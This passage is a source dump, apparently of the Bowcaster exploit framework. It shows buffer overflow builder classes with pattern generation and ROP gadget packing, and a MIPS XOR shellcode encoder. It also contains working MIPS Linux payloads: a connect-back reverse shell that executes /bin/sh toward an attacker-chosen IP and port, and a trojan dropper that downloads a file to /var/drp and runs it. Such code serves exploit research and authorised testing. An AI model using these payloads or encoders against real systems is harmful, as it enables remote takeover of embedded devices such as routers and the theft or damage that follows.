excited the specified maximum length 253 | """ 254 | if not description: 255 | description=("String. Offset: %d, length: %d" % (self.len(),len(string))) 256 | section=self.section_creator.string_section(self.len(),string,description) 257 | self.__add_section(section) 258 | 259 | def add_pattern(self,length,description=None): 260 | """ 261 | Generate and append a pattern. 262 | 263 | 264 | Generates a pattern based on the current offset in the buffer. This 265 | ensures the location of substrings in this pattern will always be 266 | constant relative to the beginning of the buffer, even if this section 267 | is later moved forward or backwards or shortened or lengthened. 268 | 269 | Parameters 270 | ---------- 271 | length: Length of the pattern to be generated. 272 | description: Optional. A string describing this overflow section. If one 273 | is not provided, a generic one will be generated. Useful for 274 | more readable logs and Exception messages. 275 | 276 | Raises OverflowBuilerException if this string would cause the overflow 277 | buffer to excited the specified maximum length 278 | """ 279 | pattern_section=self.section_creator.pattern_section(self.len(),length,description) 280 | self.__add_section(pattern_section) 281 | 282 | def add_rop_gadget(self,address,base_address=None,description=None): 283 | """ 284 | Append a ROP gadget section to the overflow buffer. 285 | 286 | Parameters 287 | ---------- 288 | address: The address in the library or executable the ROP gadget is 289 | found. 290 | base_address: Optional. The base address to be added to address 291 | to compute the ROP gadget's actual address in memory. If not 292 | specified, then the default_base, if any, provided to the 293 | constructor is used instead. 294 | description: Optional. A string describing this overflow section. If one 295 | is not provided, a generic one will be generated. Useful for 296 | more readable logs and Exception messages. 297 | 298 | Raises OverflowBuilerException if this string would cause the overflow 299 | buffer to excited the specified maximum length. 300 | """ 301 | if None==base_address: 302 | base_address=self.default_base 303 | gadget=self.section_creator.gadget_section(self.len(),address, 304 | base_address=base_address,description=description) 305 | self.__add_section(gadget) 306 | 307 | class OverflowSection(object): 308 | """A class to represent a section of the overflow buffer. 309 | Replace some subset of the base overflow string with a given string at a 310 | given offset. For example, replace a section of the base overflow string 311 | with your payload, or with a strings of 'D's. An exception will be raised 312 | if the section is too long to replace at the given offset. 313 | """ 314 | 315 | def __init__(self,offset,section_string,description=None,badchars=[],logger=None): 316 | """ 317 | Class constructor. 318 | 319 | Parameters 320 | ---------- 321 | offset: Offset in the buffer where this section should be located. 322 | section_string: The string that is appended to or inserted into the 323 | overflow buffer. 324 | description: Optional. A string describing this overflow section. If one 325 | is not provided, a generic one will be generated. Useful for 326 | more readable logs and Exception messages. 327 | 328 | badchars: Optional. List of restricted bytes that must be avoided. 329 | logger: Optional logger object. If none is provided, a logger will be 330 | instantiated with output to stdout. 331 | """ 332 | if not logger: 333 | logger=Logging() 334 | self.offset=offset 335 | self.section_string=section_string 336 | if not description: 337 | description = ("Generic overflow section. Offset %d, length %d" % 338 | (offset,len(section_string))) 339 | 340 | self.description=description 341 | 342 | for char in badchars: 343 | if char in section_string: 344 | err=("Found bad byte %#04x\n\tin section: %s\n\tsection offset: %d" 345 | % (ord(char),description,offset)) 346 | raise(OverflowBuilderException(err)) 347 | 348 | 349 | def __str__(self): 350 | """Returns string representation of this object.""" 351 | return self.description 352 | 353 | def overlaps_with(self,osection): 354 | """ 355 | Boolean test for whether another OverflowSection overlaps with this one. 356 | 357 | Parameters 358 | ---------- 359 | osection: OverflowSection object to test for overlapping 360 | 361 | Returns True or False indicating whether this section overlaps with the 362 | provided one. 363 | """ 364 | my_start=self.offset 365 | my_end=self.offset + len(self.section_string) - 1 366 | 367 | their_start=osection.offset 368 | their_end=osection.offset+len(osection.section_string) - 1 369 | 370 | if my_start >= their_start and my_start <= their_end: 371 | return True 372 | 373 | if their_start >= my_start and their_start <= my_end: 374 | return True 375 | 376 | return False 377 | def __eq__(self,other): 378 | return self.offset==other.offset 379 | def __ne__(self,other): 380 | return self.offset!=other.offset 381 | def __lt__(self,other): 382 | return self.offset= other.offset 389 | 390 | 391 | class PatternSection(OverflowSection): 392 | #TODO Create patterns that are free of specified bad characters 393 | #rather than raise exception. 394 | @classmethod 395 | def __prune_bad_chars(cls,chars,badchars): 396 | pruned="" 397 | for char in chars: 398 | if not char in badchars: 399 | pruned=pruned+char 400 | return list(pruned) 401 | 402 | @classmethod 403 | def pattern_create(cls,requested_length,badchars=[],logger=None): 404 | 405 | #TODO: Make this generic and more elegant. Maybe with recursion. 406 | 407 | upper_alpha=cls.__prune_bad_chars("ABCDEFGHIJKLMNOPQRSTUVWXYZ",badchars) 408 | lower_alpha=cls.__prune_bad_chars("abcdefghijklmnopqrstuvwxyz",badchars) 409 | numerals=cls.__prune_bad_chars("0123456789",badchars) 410 | 411 | if logger: 412 | logger.LOG_DEBUG("uppers: %s" % str(upper_alpha)) 413 | logger.LOG_DEBUG("lowers: %s" % str(lower_alpha)) 414 | logger.LOG_DEBUG("numerals: %s" % str(numerals)) 415 | 416 | maxlen=len(upper_alpha)*len(lower_alpha)*len(numerals) 417 | if maxlen < requested_length: 418 | raise OverflowBuilderException("Maximum pattern length, %d is less than requested length %d." % (maxlen,requested_length)) 419 | 420 | 421 | pattern="" 422 | try: 423 | for upperchar in upper_alpha: 424 | for lowerchar in lower_alpha: 425 | for numberchar in numerals: 426 | subpattern="%c%c%c"%(upperchar,lowerchar,numberchar) 427 | remaining = requested_length-len(pattern) 428 | if remaining <= 0: 429 | #dirty trick to break out of nested loops 430 | raise OverflowBuilderException 431 | elif remaining <= 3: 432 | pattern+=subpattern[0:remaining] 433 | else: 434 | pattern+=subpattern 435 | except OverflowBuilderException: 436 | pass 437 | 438 | return pattern 439 | 440 | def __init__(self,offset,length,description=None,badchars=[],logger=None): 441 | """ 442 | Class constructor. 443 | 444 | Parameters 445 | ---------- 446 | offset: Offset in the buffer where this section should be located. 447 | length: Length of the pattern to be generated. 448 | description: Optional. A string describing this overflow section. If one 449 | is not provided, a generic one will be generated. Useful for 450 | more readable logs and Exception messages. 451 | badchars: Optional. List of restricted bytes that must be avoided. 452 | logger: Optional logger object. If none is provided, a logger will be 453 | instantiated with output to stdout. 454 | 455 | """ 456 | 457 | overall_length=offset+length 458 | pattern=self.__class__.pattern_create(overall_length,badchars=badchars,logger=logger) 459 | pattern=pattern[offset:offset+length] 460 | if not description: 461 | description=("Pattern at offset %d, length %d" % (offset,length)) 462 | super(self.__class__,self).__init__(offset,pattern,description,badchars) 463 | 464 | 465 | class RopGadget(OverflowSection): 466 | """ 467 | A class to encode an integer into a four-byte section of the overflow buffer. 468 | 469 | The provided numerical value is packed into a four-byte string using the 470 | endianness. 471 | 472 | 473 | Note 474 | ---- 475 | This is only compatible with 32-bit addresses. 476 | """ 477 | 478 | def __init__(self,endian,offset,rop_address,pointer_size=LP32,description=None,base_address=0,badchars=[],logger=None): 479 | """Class constructor. 480 | 481 | Parameters 482 | ---------- 483 | endianness: Endianness of the target system. (See the support.BigEndian 484 | and support.LittleEndian) 485 | offset: The offset into the base overflow string. 486 | rop_address: Memory address (or other 32-bit integral value) add or 487 | insert into the overflow buffer. 488 | description: Optional. A string describing this overflow section. If one 489 | is not provided, a generic one will be generated. Useful for 490 | more readable logs and Exception messages. 491 | base_address: Optional. The base address to be added to address 492 | to compute the ROP gadget's actual address in memory. If not 493 | specified, then the default_base, if any, provided to the 494 | constructor is used instead. 495 | badchars: Optional. List of restricted bytes that must be avoided. 496 | logger: Optional logger object. If none is provided, a logger will be 497 | instantiated with output to stdout. 498 | """ 499 | 500 | format_str=StructPackFmt(endian,pointer_size) 501 | # if endian==BigEndian: 502 | # format_str=">L" 503 | # elif endian == LittleEndian: 504 | # format_str=" 3 | # - Tactical Network Solutions, LLC 4 | # 5 | # See LICENSE.txt for more details. 6 | # 7 | 8 | class EncoderException(Exception): 9 | pass 10 | import mips 11 | -------------------------------------------------------------------------------- /src/bowcaster/encoders/mips.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013 2 | # - Zachary Cutlip 3 | # - Tactical Network Solutions, LLC 4 | # 5 | # See LICENSE.txt for more details. 6 | # 7 | import string 8 | import random 9 | import struct 10 | from ..encoders import EncoderException 11 | from xorencoder import XorEncoder 12 | from ..common.support import BigEndian,LittleEndian 13 | from ..common.support import Logging 14 | from ..common.support import pretty_string 15 | from ..common.support import parse_badchars 16 | 17 | class MipsXorEncoder(XorEncoder): 18 | """ 19 | An XOR encoder for the MIPS CPU archictecture. Supports big endian and small endian. 20 | """ 21 | MAX_ATTEMPTS=10 22 | decoders={} 23 | decoders[LittleEndian] = string.join([ 24 | "SIZ2SIZ1\x0e\x24", # li t6,-5 25 | "\x27\x70\xc0\x01", # nor t6,t6,zero 26 | "\xa3\xff\x0b\x24", # li t3,-93 27 | "\x26\x40\xce\x01", # xor t0,t6,t6 28 | "\xff\xff\x08\x21", # addi t0,t0,-1 29 | "\xff\xff\x10\x05", # bltzal t0,14 30 | "\x82\x82\x08\x28", # slti t0,zero,-32126 31 | "\xe2\xff\xfd\x23", # addi sp,ra,-30 32 | "\x27\x58\x60\x01", # nor t3,t3,zero 33 | "\x21\xc8\xeb\x03", # addu t9,ra,t3 34 | "\x82\x82\x17\x28", # slti s7,zero,-32126 35 | "\xfc\xff\x31\x8f", # lw s1,-4(t9) 36 | "\xfb\xff\x0c\x24", # li t4,-5 37 | "\x27\x60\x80\x01", # nor t4,t4,zero 38 | "\xfd\xff\x8f\x21", # addi t7,t4,-3 39 | "\xfc\xff\x28\x8f", # lw t0,-4(t9) 40 | "\x21\xb8\xef\x02", # addu s7,s7,t7 41 | "\x26\x18\x11\x01", # xor v1,t0,s1 42 | "\x2b\xf0\xee\x02", # sltu s8,s7,t6 43 | "\xfc\xff\x23\xaf", # sw v1,-4(t9) 44 | "\xfa\xff\x1e\x14", # bne zero,s8,3c 45 | "\x21\xc8\x2c\x03", # addu t9,t9,t4 46 | "\xfd\xff\x86\x21", # addi a2,t4,-3 47 | "\xf8\xff\xa6\xaf", # sw a2,-8(sp) 48 | "\x26\x28\xce\x01", # xor a1,t6,t6 49 | "\xfc\xff\xa5\xaf", # sw a1,-4(sp) 50 | "\xf8\xff\xa4\x27", # addiu a0,sp,-8 51 | "\x46\x10\x02\x24", # li v0,4166 52 | "\x0c\x54\x4a\x01" # syscall 0x52950 53 | ],'') 54 | 55 | decoders[BigEndian] = string.join([ 56 | "\x24\x0eSIZ1SIZ2", # li t6,-5 57 | "\x01\xc0\x70\x27", # nor t6,t6,zero 58 | "\x24\x0b\xff\xa3", # li t3,-93 59 | "\x01\xce\x40\x26", # xor t0,t6,t6 60 | "\x21\x08\xff\xff", # addi t0,t0,-1 61 | "\x05\x10\xff\xff", # bltzal t0,14 62 | "\x28\x08\x82\x82", # slti t0,zero,-32126 63 | "\x23\xfd\xff\xe2", # addi sp,ra,-30 64 | "\x01\x60\x58\x27", # nor t3,t3,zero 65 | "\x03\xeb\xc8\x21", # addu t9,ra,t3 66 | "\x28\x17\x82\x82", # slti s7,zero,-32126 67 | "\x8f\x31\xff\xfc", # lw s1,-4(t9) 68 | "\x24\x0c\xff\xfb", # li t4,-5 69 | "\x01\x80\x60\x27", # nor t4,t4,zero 70 | "\x21\x8f\xff\xfd", # addi t7,t4,-3 71 | "\x8f\x28\xff\xfc", # lw t0,-4(t9) 72 | "\x02\xef\xb8\x21", # addu s7,s7,t7 73 | "\x01\x11\x18\x26", # xor v1,t0,s1 74 | "\x02\xee\xf0\x2b", # sltu s8,s7,t6 75 | "\xaf\x23\xff\xfc", # sw v1,-4(t9) 76 | "\x14\x1e\xff\xfa", # bne zero,s8,3c 77 | "\x03\x2c\xc8\x21", # addu t9,t9,t4 78 | "\x21\x86\xff\xfd", # addi a2,t4,-3 79 | "\xaf\xa6\xff\xf8", # sw a2,-8(sp) 80 | "\x01\xce\x28\x26", # xor a1,t6,t6 81 | "\xaf\xa5\xff\xfc", # sw a1,-4(sp) 82 | "\x27\xa4\xff\xf8", # addiu a0,sp,-8 83 | "\x24\x02\x10\x46", # li v0,4166 84 | "\x01\x4a\x54\x0c" # syscall 0x52950 85 | ],'') 86 | def __has_badchars(self,data,badchars): 87 | badchar_list=[] 88 | for char in badchars: 89 | #print "Checking for char: "+str(char) 90 | if char in data: 91 | badchar_list.append(char) 92 | 93 | return badchar_list 94 | 95 | 96 | def __pack_key(self,key): 97 | if self.endianness==BigEndian: 98 | packed_key=struct.pack('>I',key) 99 | else: 100 | packed_key=struct.pack(' 0xffff: 189 | raise "Payload length %d is too long." % len(to_encode) 190 | 191 | size = size ^ 0xffff 192 | 193 | sizelo=size & 0xff 194 | sizehi=size >> 8 195 | 196 | decoder=self.__class__.decoders[self.endianness] 197 | decoder=decoder.replace("SIZ1",chr(sizehi)) 198 | decoder=decoder.replace("SIZ2",chr(sizelo)) #SIZ1SIZ2 == sizehisizelo 199 | decoder_badchars=self.__has_badchars(decoder,self.badchars) 200 | 201 | if len(decoder_badchars) > 0: 202 | raise EncoderException("Decoder stub contains bad bytes: %s" % str(decoder_badchars)) 203 | self.logger.LOG_DEBUG("No bad bytes in decoder stub.") 204 | 205 | if not self.key: 206 | attempts=self.__class__.MAX_ATTEMPTS 207 | else: 208 | attempts=1 209 | self.key=self.__pack_key(self.key) 210 | key_badchars=self.__has_badchars(self.key,self.badchars) 211 | if(len(key_badchars) > 0): 212 | raise EncoderException("Provided XOR key has bad bytes: %s" % str(key_badchars)) 213 | 214 | 215 | tried_keys=[self.key] 216 | 217 | while attempts > 0: 218 | if not self.key: 219 | self.key=self.__generate_key(tried_keys,self.badchars) 220 | tried_keys.append(self.key) 221 | 222 | encoded_shellcode=self.encode(to_encode,self.key) 223 | encoded_badchars=self.__has_badchars(encoded_shellcode,self.badchars) 224 | 225 | if len(encoded_badchars) > 0: 226 | self.key=None 227 | attempts -= 1 228 | else: 229 | break 230 | 231 | if not self.key: 232 | raise EncoderException("Failed to encode payload without bad bytes.") 233 | 234 | self.shellcode=decoder+self.key+encoded_shellcode 235 | 236 | def pretty_string(self): 237 | return pretty_string(self.shellcode) 238 | 239 | def __str__(self): 240 | data="" 241 | for c in self.shellcode: 242 | data=data+"\\%c" % ord(c) 243 | 244 | return data 245 | 246 | -------------------------------------------------------------------------------- /src/bowcaster/encoders/xorencoder.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013 2 | # - Zachary Cutlip 3 | # - Tactical Network Solutions, LLC 4 | # 5 | # See LICENSE.txt for more details. 6 | # 7 | class XorEncoder(object): 8 | """ 9 | Base class for architecture-specific XOR encoders. Provides self.encode(). 10 | """ 11 | def encode(self,data,key): 12 | if len(data) % len(key) != 0: 13 | raise "Data length must be a multiple of key length" 14 | 15 | key_idx=0 16 | xor_data="" 17 | 18 | for x in range(len(data)): 19 | xor_data=xor_data+chr(ord(data[x]) ^ ord(key[key_idx])) 20 | key_idx=(key_idx + 1) % len(key) 21 | 22 | return xor_data 23 | -------------------------------------------------------------------------------- /src/bowcaster/payloads/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013 2 | # - Zachary Cutlip 3 | # - Tactical Network Solutions, LLC 4 | # 5 | # See LICENSE.txt for more details. 6 | # 7 | 8 | import mips 9 | -------------------------------------------------------------------------------- /src/bowcaster/payloads/mips/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013 2 | # - Zachary Cutlip 3 | # - Tactical Network Solutions, LLC 4 | # 5 | # See LICENSE.txt for more details. 6 | # 7 | from connectback_payload import * 8 | from trampoline import * 9 | from trojan_dropper_payload import * 10 | 11 | __all__ = ["ConnectbackPayload","Trampoline","TrojanDropper"] 12 | -------------------------------------------------------------------------------- /src/bowcaster/payloads/mips/connectback_payload.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013 2 | # - Zachary Cutlip 3 | # - Tactical Network Solutions, LLC 4 | # 5 | # See LICENSE.txt for more details. 6 | # 7 | 8 | import string 9 | import socket 10 | import signal 11 | import os 12 | from ...common.support import BigEndian,LittleEndian 13 | from ...common import hackers_quotes 14 | 15 | class ConnectbackPayload: 16 | """ 17 | This is a MIPS Linux connect-back payload. 18 | 19 | It will establish a TCP connection to the specified port and address, 20 | and exec() a shell with the privileges of the exploited process. 21 | """ 22 | shellcodes = {} 23 | shellcodes[LittleEndian]=string.join([ 24 | "\xfa\xff\x0f\x24", # li t7,-6 25 | "\x27\x78\xe0\x01", # nor t7,t7,zero 26 | "\xfd\xff\xe4\x21", # addi a0,t7,-3 27 | "\xfd\xff\xe5\x21", # addi a1,t7,-3 28 | "\xff\xff\x06\x28", # slti a2,zero,-1 29 | "\x57\x10\x02\x24", # li v0,4183 30 | "\x0c\x01\x01\x01", # syscall 0x40404 31 | "\xff\xff\xa2\xaf", # sw v0,-1(sp) 32 | "\xff\xff\xa4\x8f", # lw a0,-1(sp) 33 | "\xfd\xff\x0f\x3c", # lui t7,0xfffd 34 | "\x27\x78\xe0\x01", # nor t7,t7,zero 35 | "\xe0\xff\xaf\xaf", # sw t7,-32(sp) 36 | "PORT1PORT2\x0e\x3c", # lui t6,0x901f 37 | "PORT1PORT2\xce\x35", # ori t6,t6,0x901f 38 | "\xe4\xff\xae\xaf", # sw t6,-28(sp) 39 | 40 | "IP2IP3\x0e\x3c", # lui t6, 41 | "IP0IP1\xce\x35", # ori t6,t6, 42 | 43 | "\xe6\xff\xae\xaf", # sw t6,-26(sp) 44 | "\xe2\xff\xa5\x27", # addiu a1,sp,-30 45 | "\xef\xff\x0c\x24", # li t4,-17 46 | "\x27\x30\x80\x01", # nor a2,t4,zero 47 | "\x4a\x10\x02\x24", # li v0,4170 48 | "\x0c\x01\x01\x01", # syscall 0x40404 49 | "\xfd\xff\x0f\x24", # li t7,-3 50 | "\x27\x78\xe0\x01", # nor t7,t7,zero 51 | "\xff\xff\xa4\x8f", # lw a0,-1(sp) 52 | "\x21\x28\xe0\x01", # move a1,t7 53 | "\xdf\x0f\x02\x24", # li v0,4063 54 | "\x0c\x01\x01\x01", # syscall 0x40404 55 | "\xff\xff\x10\x24", # li s0,-1 56 | "\xff\xff\xef\x21", # addi t7,t7,-1 57 | "\xfa\xff\xf0\x15", # bne t7,s0,68 58 | "\xff\xff\x06\x28", # slti a2,zero,-1 59 | "\x62\x69\x0f\x3c", # lui t7,0x6962 60 | "\x2f\x2f\xef\x35", # ori t7,t7,0x2f2f 61 | "\xec\xff\xaf\xaf", # sw t7,-20(sp) 62 | "\x73\x68\x0e\x3c", # lui t6,0x6873 63 | "\x6e\x2f\xce\x35", # ori t6,t6,0x2f6e 64 | "\xf0\xff\xae\xaf", # sw t6,-16(sp) 65 | "\xf4\xff\xa0\xaf", # sw zero,-12(sp) 66 | "\xec\xff\xa4\x27", # addiu a0,sp,-20 67 | "\xf8\xff\xa4\xaf", # sw a0,-8(sp) 68 | "\xfc\xff\xa0\xaf", # sw zero,-4(sp) 69 | "\xf8\xff\xa5\x27", # addiu a1,sp,-8 70 | "\xab\x0f\x02\x24", # li v0,4011 71 | "\x0c\x01\x01\x01" # syscall 0x40404 72 | ], '') 73 | 74 | shellcodes[BigEndian]=string.join([ 75 | "\x24\x0f\xff\xfa", # li t7,-6 76 | "\x01\xe0\x78\x27", # nor t7,t7,zero 77 | "\x21\xe4\xff\xfd", # addi a0,t7,-3 78 | "\x21\xe5\xff\xfd", # addi a1,t7,-3 79 | "\x28\x06\xff\xff", # slti a2,zero,-1 80 | "\x24\x02\x10\x57", # li v0,4183 81 | "\x01\x01\x01\x0c", # syscall 0x40404 82 | "\xaf\xa2\xff\xfc", # sw v0,-4(sp) 83 | "\x8f\xa4\xff\xfc", # lw a0,-4(sp) 84 | "\x34\x0f\xff\xfd", # li t7,0xfffd 85 | "\x01\xe0\x78\x27", # nor t7,t7,zero 86 | "\xaf\xaf\xff\xe0", # sw t7,-32(sp) 87 | 88 | "\x3c\x0ePORT1PORT2", # lui t6,0x1f91 89 | "\x35\xcePORT1PORT2", # ori t6,t6,0x1f91 90 | 91 | "\xaf\xae\xff\xe4", # sw t6,-28(sp) 92 | 93 | "\x24\x0eIP0IP1", # li t6,258 94 | "\x24\x0dIP2IP3", # li t5,772 95 | 96 | "\xa7\xae\xff\xe6", # sh t6,-26(sp) 97 | "\xa7\xad\xff\xe8", # sh t5,-24(sp) 98 | "\x27\xa5\xff\xe2", # addiu a1,sp,-30 99 | "\x24\x0c\xff\xef", # li t4,-17 100 | "\x01\x80\x30\x27", # nor a2,t4,zero 101 | "\x24\x02\x10\x4a", # li v0,4170 102 | "\x01\x01\x01\x0c", # syscall 0x40404 103 | "\x24\x0f\xff\xfd", # li t7,-3 104 | "\x01\xe0\x78\x27", # nor t7,t7,zero 105 | "\x8f\xa4\xff\xfc", # lw a0,-4(sp) 106 | "\x01\xe0\x28\x21", # move a1,t7 107 | "\x24\x02\x0f\xdf", # li v0,4063 108 | "\x01\x01\x01\x0c", # syscall 0x40404 109 | "\x24\x10\xff\xff", # li s0,-1 110 | "\x21\xef\xff\xff", # addi t7,t7,-1 111 | "\x15\xf0\xff\xfa", # bne t7,s0,6c 112 | "\x28\x06\xff\xff", # slti a2,zero,-1 113 | "\x3c\x0f\x2f\x2f", # lui t7,0x2f2f 114 | "\x35\xef\x62\x69", # ori t7,t7,0x6269 115 | "\xaf\xaf\xff\xec", # sw t7,-20(sp) 116 | "\x3c\x0e\x6e\x2f", # lui t6,0x6e2f 117 | "\x35\xce\x73\x68", # ori t6,t6,0x7368 118 | "\xaf\xae\xff\xf0", # sw t6,-16(sp) 119 | "\xaf\xa0\xff\xf4", # sw zero,-12(sp) 120 | "\x27\xa4\xff\xec", # addiu a0,sp,-20 121 | "\xaf\xa4\xff\xf8", # sw a0,-8(sp) 122 | "\xaf\xa0\xff\xfc", # sw zero,-4(sp) 123 | "\x27\xa5\xff\xf8", # addiu a1,sp,-8 124 | "\x24\x02\x0f\xab", # li v0,4011 125 | "\x01\x01\x01\x0c" # syscall 0x40404 126 | ],'') 127 | 128 | def __init__(self,connectback_ip,endianness,port=8080): 129 | """ 130 | Class constructor. 131 | 132 | Parameters: 133 | ----------- 134 | connectback_ip: IP Address to connect back to. 135 | endianness: Endianness of the target. one of LittleEndian or BigEndian, 136 | (imported from bowcaster.common.support). 137 | port: Optional parameter specifying TCP port to connect back to. 138 | Defaults to 8080. 139 | 140 | Attributes: 141 | ----------- 142 | shellcode: The string representing the payload's shellcode, ready to add 143 | to an exploit buffer. 144 | endianness: The endianness of this payload object. 145 | 146 | Notes: 147 | ------ 148 | Although this payload is free of common bad characters such as nul bytes 149 | and spaces, your IP address or port may introduce bad characters. If so, 150 | you may need to use an encoder. 151 | """ 152 | 153 | self.endianness=endianness 154 | port=int(port) 155 | 156 | shellcode=self.__class__.shellcodes[endianness] 157 | i = 0 158 | for c in socket.inet_aton(connectback_ip): 159 | shellcode = shellcode.replace("IP%d" % i, c) 160 | i+=1 161 | 162 | shellcode = shellcode.replace("PORT1",chr(port >> 8)) 163 | shellcode = shellcode.replace("PORT2",chr(port & 0xFF)) 164 | 165 | self.shellcode=shellcode 166 | if hackers_quotes: 167 | hackers_quotes.log_random_quote() 168 | 169 | 170 | -------------------------------------------------------------------------------- /src/bowcaster/payloads/mips/trampoline.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013 2 | # - Zachary Cutlip 3 | # - Tactical Network Solutions, LLC 4 | # 5 | # See LICENSE.txt for more details. 6 | # 7 | import struct 8 | import string 9 | from ...common.support import BigEndian,LittleEndian 10 | from ...common import hackers_quotes 11 | 12 | class Trampoline(object): 13 | """ 14 | A small (8 byte) trampoline payload. 15 | 16 | Attributes 17 | ---------- 18 | MAX_BACK_JUMP: The maximum negative offset that can be encoded into the branch. 19 | MAX_FWD_JUMP: The maximum positive offset that can be encoded into the branch. 20 | 21 | """ 22 | MAX_BACK_JUMP=-0x20000 23 | MAX_FWD_JUMP=0x1fffc 24 | shellcodes={} 25 | shellcodes[BigEndian] = string.join([ 26 | "\x11\xefHIHILOLO", # beq t7,t7,0xffff0010 27 | "\x01\xe0\x78\x26" # xor t7,t7,zero 28 | ],'') 29 | shellcodes[LittleEndian] = string.join([ 30 | "LOLOHIHI\xef\x11", # beq t7,t7,0x20000 31 | "\x26\x78\xe0\x01" # xor t7,t7,zero 32 | ],'') 33 | 34 | def __init__(self,endianness,offset): 35 | """ 36 | Class constructor. 37 | 38 | Parameters 39 | ---------- 40 | endianness: Endianness of the target system. (See the support.BigEndian 41 | and support.LittleEndian) 42 | offset: Positive or negative offset to jump. 43 | 44 | Raises EncoderException if the offset is outside of the MAX_BACK_JUMP - 45 | MAX_FWD_JUMP range. 46 | 47 | Note: 1028, or 0x0404, is the smallest amount you can trampoline forward 48 | without a NULL byte in the encoded beq instruction. 49 | Note: Remember, the program counter has already advanced +4 from whatever 50 | the location is of this payload object. So your jump offset will be 51 | relative to this object's offset+4. 52 | """ 53 | if (offset < self.__class__.MAX_BACK_JUMP or 54 | offset > self.__class__.MAX_FWD_JUMP): 55 | raise EncoderException("Offset %d is outside of %d backwards or %d forwards." % 56 | (offset,self.__class__.MAX_BACK_JUMP,self.__class__.MAX_BACK_JUMP)) 57 | self.endianness=endianness 58 | self.shellcode=self.__class__.shellcodes[endianness] 59 | 60 | #TODO: is this endianness-safe? 61 | packedbytes=struct.pack(">h",(offset>>2)) 62 | 63 | low_byte=packedbytes[1] 64 | high_byte=packedbytes[0] 65 | 66 | self.shellcode=self.shellcode.replace("HIHI",high_byte) 67 | self.shellcode=self.shellcode.replace("LOLO",low_byte) 68 | 69 | if hackers_quotes: 70 | hackers_quotes.log_random_quote() 71 | 72 | 73 | -------------------------------------------------------------------------------- /src/bowcaster/payloads/mips/trojan_dropper_payload.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013 2 | # - Zachary Cutlip 3 | # - Tactical Network Solutions, LLC 4 | # 5 | # See LICENSE.txt for more details. 6 | # 7 | import string 8 | import socket 9 | import os 10 | import signal 11 | from ...common.support import BigEndian,LittleEndian 12 | from ...common import hackers_quotes 13 | 14 | class TrojanDropper: 15 | """ 16 | This is a MIPS Linux connect-back payload that downloads and execs() a file. 17 | 18 | It will establish a TCP connection to the specified port and address, read 19 | off the socket to a file called "/var/drp", then exec() that file. 20 | The file should be served as a raw stream of bytes. When the server has 21 | sent the entire file, it should close the connection. 22 | 23 | This payload can be used with TrojanServer to serve files to the target. 24 | Further, stage2dropper.c (in contrib) may be a useful companion trojan. 25 | """ 26 | shellcodes={} 27 | shellcodes[BigEndian] = string.join([ 28 | "\x3c\x0f\x2f\x76", # lui t7,0x2f76 "/v" 29 | "\x35\xef\x61\x72", # ori t7,t7,0x6172 "ar" 30 | "\xaf\xaf\xff\xf4", # sw t7,-12(sp) 31 | "\x3c\x0e\x2f\x64", # lui t6,0x2f64 "/d" 32 | "\x35\xce\x72\x70", # ori t6,t6,0x7270 "rp" 33 | "\xaf\xae\xff\xf8", # sw t6,-8(sp) 34 | "\xaf\xa0\xff\xfc", # sw zero,-4(sp) 35 | "\x27\xa4\xff\xf4", # addiu a0,sp,-12 36 | "\x24\x05\x01\x11", # li a1,273 37 | "\x24\x06\x01\xff", # li a2,511 38 | "\x24\x02\x0f\xa5", # li v0,4005 39 | "\x01\x01\x01\x0c", # syscall 0x40404 40 | "\xaf\xa2\xff\xd4", # sw v0,-44(sp) 41 | "\x24\x0f\xff\xfd", # li t7,-3 42 | "\x01\xe0\x28\x27", # nor a1,t7,zero 43 | "\xaf\xa5\xff\xe0", # sw a1,-32(sp) 44 | "\x8f\xa4\xff\xe0", # lw a0,-32(sp) 45 | "\x28\x06\xff\xff", # slti a2,zero,-1 46 | "\x24\x02\x10\x57", # li v0,4183 47 | "\x01\x01\x01\x0c", # syscall 0x40404 48 | "\xaf\xa2\xff\xff", # sw v0,-1(sp) 49 | "\x8f\xa4\xff\xff", # lw a0,-1(sp) 50 | "\x3c\x0ePORT1PORT2", # lui t6,0x7a69 51 | "\x35\xcePORT1PORT2", # ori t6,t6,0x7a69 52 | "\xaf\xae\xff\xe4", # sw t6,-28(sp) 53 | "\x3c\x0dIP0IP1", # lui t5,0xa0a 54 | "\x35\xadIP2IP3", # ori t5,t5,0xa0a 55 | "\xaf\xad\xff\xe6", # sw t5,-26(sp) 56 | "\x27\xa5\xff\xe2", # addiu a1,sp,-30 57 | "\x24\x0c\xff\xef", # li t4,-17 58 | "\x01\x80\x30\x27", # nor a2,t4,zero 59 | "\x24\x02\x10\x4a", # li v0,4170 60 | "\x01\x01\x01\x0c", # syscall 0x40404 61 | "\x28\x06\xff\xff", # slti a2,zero,-1 62 | "\x8f\xa4\xff\xd4", # lw a0,-44(sp) 63 | "\x27\xa5\xff\xd0", # addiu a1,sp,-48 64 | "\x24\x02\x0f\xa4", # li v0,4004 65 | "\x01\x01\x01\x0c", # syscall 0x40404 66 | "\x8f\xa4\xff\xff", # lw a0,-1(sp) 67 | "\x27\xa5\xff\xd0", # addiu a1,sp,-48 68 | "\x28\x06\x0f\xff", # slti a2,zero,4095 69 | "\x24\x02\x0f\xa3", # li v0,4003 70 | "\x01\x01\x01\x0c", # syscall 0x40404 71 | "\x1c\x40\xff\xf6", # bgtz v0,88 72 | "\x24\x02\x0f\xa6", # li v0,4006 73 | "\x01\x01\x01\x0c", # syscall 0x40404 74 | "\x8f\xa4\xff\xd4", # lw a0,-44(sp) 75 | "\x24\x02\x0f\xa6", # li v0,4006 76 | "\x01\x01\x01\x0c", # syscall 0x40404 77 | "\x27\xa4\xff\xf4", # addiu a0,sp,-12 78 | "\xaf\xa4\xff\xd0", # sw a0,-48(sp) 79 | "\xaf\xa2\xff\xd4", # sw v0,-44(sp) 80 | "\x28\x06\xff\xff", # slti a2,zero,-1 81 | "\x24\x02\x0f\xab", # li v0,4011 82 | "\x01\x01\x01\x0c", # syscall 0x40404 83 | ], '') 84 | 85 | shellcodes[LittleEndian] = string.join([ 86 | "\x61\x72\x0f\x3c", # lui t7,0x7261 "ra" 87 | "\x2f\x76\xef\x35", # ori t7,t7,0x762f "v/" 88 | "\xf4\xff\xaf\xaf", # sw 